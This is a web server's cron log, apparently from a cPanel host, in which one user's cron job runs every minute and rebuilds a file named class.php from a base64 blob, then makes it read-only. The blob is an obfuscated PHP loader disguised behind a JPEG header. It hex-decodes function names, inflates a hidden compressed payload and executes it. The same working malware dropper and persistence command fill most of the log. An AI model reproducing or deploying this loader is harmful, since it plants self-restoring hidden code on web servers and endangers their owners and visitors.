Nov 13 00:39:01 server CROND[11440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:40:01 server CROND[11965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 00:40:01 server CROND[11967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:40:01 server CROND[11968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:40:01 server CROND[11969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:41:01 server CROND[12953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:42:01 server CROND[13557]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 00:42:01 server CROND[13558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:43:01 server CROND[14477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:44:01 server CROND[15494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:45:01 server CROND[16386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:45:01 server CROND[16387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:45:01 server CROND[16388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:46:01 server CROND[16952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:47:01 server CROND[17881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:48:01 server CROND[18813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:49:01 server CROND[19347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:50:01 server CROND[20368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 00:50:01 server CROND[20369]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 00:50:01 server CROND[20370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:50:01 server CROND[20371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:50:01 server CROND[20372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:51:01 server CROND[21336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
